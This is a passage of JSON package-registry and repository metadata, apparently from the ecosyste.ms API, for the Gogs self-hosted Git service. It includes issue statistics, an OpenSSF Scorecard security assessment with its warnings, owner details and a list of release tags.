ount":68,"issue_authors_count":205,"avg_comments_per_issue":3.217948717948718,"avg_comments_per_pull_request":0.5365384615384615,"merged_pull_requests_count":355,"bot_issues_count":0,"bot_pull_requests_count":260,"past_year_issues_count":26,"past_year_pull_requests_count":66,"past_year_avg_time_to_close_issue":4521364.166666667,"past_year_avg_time_to_close_pull_request":293936.3823529412,"past_year_issues_closed_count":6,"past_year_pull_requests_closed_count":34,"past_year_pull_request_authors_count":22,"past_year_issue_authors_count":23,"past_year_avg_comments_per_issue":1.5,"past_year_avg_comments_per_pull_request":0.7121212121212122,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":17,"past_year_merged_pull_requests_count":20,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/issues","maintainers":[{"login":"unknwon","count":151,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/unknwon"}],"active_maintainers":[{"login":"unknwon","count":14,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/unknwon"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/keyporttech%2Fgogs/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/keyporttech%2Fgogs/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/keyporttech%2Fgogs/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/keyporttech%2Fgogs/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/keyporttech%2Fgogs/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages/keyporttech%2Fgogs/codemeta","maintainers":[],"registry":{"name":"artifacthub.io","url":"https://artifacthub.io","ecosystem":"helm","default":true,"packages_count":18229,"maintainers_count":0,"namespaces_count":5401,"keywords_count":10097,"github":"artifacthub","metadata":{"funded_packages_count":1017,"rate_limit":0.5},"icon_url":"https://github.com/artifacthub.png","created_at":"2026-01-29T12:56:41.438Z","updated_at":"2026-09-02T05:05:56.266Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/artifacthub.io/namespaces"}},{"id":3494871,"name":"github.com/gogs/gogs","ecosystem":"go","description":"Gogs is a painless self-hosted Git Service.","homepage":"https://github.com/gogs/gogs","licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/gogs/gogs","keywords_array":[],"namespace":"github.com/gogs","versions_count":92,"first_release_published_at":"2014-03-31T11:57:51.000Z","latest_release_published_at":"2026-06-07T17:48:11.000Z","latest_release_number":"v0.14.3","last_synced_at":"2026-09-03T05:23:35.960Z","created_at":"2022-04-10T19:30:08.335Z","updated_at":"2026-09-03T13:15:42.488Z","registry_url":"https://pkg.go.dev/github.com/gogs/gogs","install_command":"go get github.com/gogs/gogs","documentation_url":"https://pkg.go.dev/github.com/gogs/gogs#section-documentation","metadata":{},"repo_metadata":{"id":14049846,"uuid":"16752620","full_name":"gogs/gogs","owner":"gogs","description":"The painless way to host your own Git service","archived":false,"fork":false,"pushed_at":"2026-08-06T12:32:28.000Z","size":212360,"stargazers_count":47735,"open_issues_count":1010,"forks_count":5073,"subscribers_count":1007,"default_branch":"main","last_synced_at":"2026-08-18T17:30:06.126Z","etag":null,"topics":["docker","git","go","gogs","mysql","postgresql","raspberry-pi","self-hosted","source-code-management","sqlite3","version-control"],"latest_commit_sha":null,"homepage":"https://gogs.io","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/gogs.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":".github/CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","dco":null,"cla":null}},"created_at":"2014-02-12T01:57:08.000Z","updated_at":"2026-08-18T13:10:34.000Z","dependencies_parsed_at":"2023-10-21T11:37:25.116Z","dependency_job_id":"9bba8a0b-0d3b-453c-8652-83704e7a492b","html_url":"https://github.com/gogs/gogs","commit_stats":{"total_commits":4989,"total_committers":561,"mean_commits":8.893048128342246,"dds":0.5403888554820606,"last_synced_commit":"79bda9df35b841d40b49a670491df15b9661712b"},"previous_names":["gogits/gogs"],"tags_count":98,"template":false,"template_full_name":null,"purl":"pkg:github/gogs/gogs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gogs","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/sbom","scorecard":{"id":433968,"data":{"date":"2025-08-11","repo":{"name":"github.com/gogs/gogs","commit":"37962fcc0bc404b1ac12301165899162005b257c"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.3,"checks":[{"name":"Code-Review","score":1,"reason":"Found 1/8 approved changesets -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":10,"reason":"20 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":8,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: jobLevel 'actions' permission set to 'write': .github/workflows/docker.yml:23","Info: jobLevel 'contents' permission set to 'read': .github/workflows/docker.yml:24","Info: jobLevel 'contents' permission set to 'read': .github/workflows/docker.yml:96","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/docker.yml:136","Info: jobLevel 'contents' permission set to 'read': .github/workflows/docker.yml:137","Info: jobLevel 'contents' permission set to 'read': .github/workflows/go.yml:27","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/go.yml:28","Info: topLevel 'contents' permission set to 'read': .github/workflows/codeql.yml:24","Warn: topLevel 'security-events' permission set to 'write': .github/workflows/codeql.yml:25","Warn: no topLevel permission defined: .github/workflows/docker.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/go.yml:22","Info: topLevel 'contents' permission set to 'read': .github/workflows/shell.yml:8"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: public/plugins/pdfjs-5.2.133/web/wasm/openjpeg.wasm:1","Warn: binary detected: public/plugins/pdfjs-5.2.133/web/wasm/qcms_bg.wasm:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v0.13.3 not signed: https://api.github.com/repos/gogs/gogs/releases/223892467","Warn: release artifact v0.13.2 not signed: https://api.github.com/repos/gogs/gogs/releases/192133957","Warn: release artifact v0.13.3 does not have provenance: https://api.github.com/repos/gogs/gogs/releases/223892467","Warn: release artifact v0.13.2 does not have provenance: https://api.github.com/repos/gogs/gogs/releases/192133957"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/docker.yml:16"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docker.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docker.yml:99: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:118: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:126: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docker.yml:143: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:145: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:150: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:159: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:179: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:77: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:82: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:111: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:122: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:159: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:161: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:185: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:187: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:208: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:210: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/lock.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/lock.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/shell.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/shell.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/shell.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/shell.yml/main?enable=pin","Warn: containerImage not pinned by hash: Dockerfile:1","Warn: containerImage not pinned by hash: Dockerfile:14: pin your Docker image by updating alpine:3.21 to alpine:3.21@sha256:b6a6be0ff92ab6db8acd94f5d1b7a6c2f0f5d10ce3c24af348d333ac6da80685","Info:   0 out of  20 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  26 third-party GitHubAction dependencies pinned","Info:   0 out of   2 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 26 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-19T04:08:24.040Z","repository_id":14049846,"created_at":"2025-08-19T04:08:24.040Z","updated_at":"2025-08-19T04:08:24.040Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36771125,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-18T02:00:06.197Z","response_time":52,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"gogs","name":"Gogs","uuid":"6656686","kind":"organization","description":"A painless self-hosted Git service","email":null,"website":"https://gogs.io","location":"Wildest Dream","twitter":"GogsHQ","company":null,"icon_url":"https://avatars.githubusercontent.com/u/6656686?v=4","repositories_count":16,"last_synced_at":"2024-04-28T02:56:38.998Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/gogs","funding_links":[],"total_stars":45026,"followers":211,"following":0,"created_at":"2022-11-07T04:51:04.809Z","updated_at":"2024-04-28T02:56:42.027Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gogs","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gogs/repositories"},"tags":[{"name":"v0.14.3","sha":"3ba8aca90e17e5410b7e8b227c9f29256ac3e875","kind":"commit","published_at":"2026-06-07T17:48:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.3/manifests"},{"name":"v0.14.3-rc.1","sha":"3ba8aca90e17e5410b7e8b227c9f29256ac3e875","kind":"commit","published_at":"2026-06-07T17:48:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.3-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.3-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.3-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.3-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.3-rc.1/manifests"},{"name":"v0.14.2","sha":"5dcb6c64bdf61e38dbdbb941c1d69789c560d0fb","kind":"commit","published_at":"2026-02-19T00:23:48.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.2/manifests"},{"name":"v0.14.2-rc.1","sha":"5dcb6c64bdf61e38dbdbb941c1d69789c560d0fb","kind":"commit","published_at":"2026-02-19T00:23:48.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.2-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.2-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.2-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.2-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.2-rc.1/manifests"},{"name":"v0.14.1","sha":"f5c8030c1fd936f3e0e9f774e3c7c39fd102f56f","kind":"commit","published_at":"2026-02-01T03:28:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.1/manifests"},{"name":"v0.14.1-rc.1","sha":"f5c8030c1fd936f3e0e9f774e3c7c39fd102f56f","kind":"commit","published_at":"2026-02-01T03:28:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.1-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.1-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.1-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.1-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.1-rc.1/manifests"},{"name":"v0.14.0","sha":"36c26c4ccc3ca0339db53eb1fa41e4e86b55163d","kind":"commit","published_at":"2026-01-31T21:32:58.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.0/manifests"},{"name":"v0.14.0-rc.1","sha":"36c26c4ccc3ca0339db53eb1fa41e4e86b55163d","kind":"commit","published_at":"2026-01-31T21:32:58.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.0-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.0-rc.1/manifests"},{"name":"latest-commit-build","sha":"7306b955a9a817a8114b71e260d8638c4dfd2476","kind":"commit","published_at":"2026-01-31T18:29:30.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/latest-commit-build","html_url":"https://github.com/gogs/gogs/releases/tag/latest-commit-build","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@latest-commit-build","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/latest-commit-build","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/latest-commit-build/manifests"},{"name":"release-archive-testing","sha":"32844ddd1b4a137c96cb705ae1c5216633c28587","kind":"commit","published_at":"2026-01-31T18:25:52.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/release-archive-testing","html_url":"https://github.com/gogs/gogs/releases/tag/release-archive-testing","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@release-archive-testing","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/release-archive-testing","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/release-archive-testing/manifests"},{"name":"v0.13.4","sha":"d958a47a0e9d8747e399c687fdb3ec64a3b1a736","kind":"commit","published_at":"2026-01-23T17:38:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.4","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4/manifests"},{"name":"v0.13.4-rc.3","sha":"d958a47a0e9d8747e399c687fdb3ec64a3b1a736","kind":"commit","published_at":"2026-01-23T17:38:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.4-rc.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.4-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.4-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.3/manifests"},{"name":"v0.13.4-rc.2","sha":"282f3c0c70cd30e5b010f96839b12a30b202f4d6","kind":"commit","published_at":"2026-01-23T17:35:06.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.4-rc.2","html_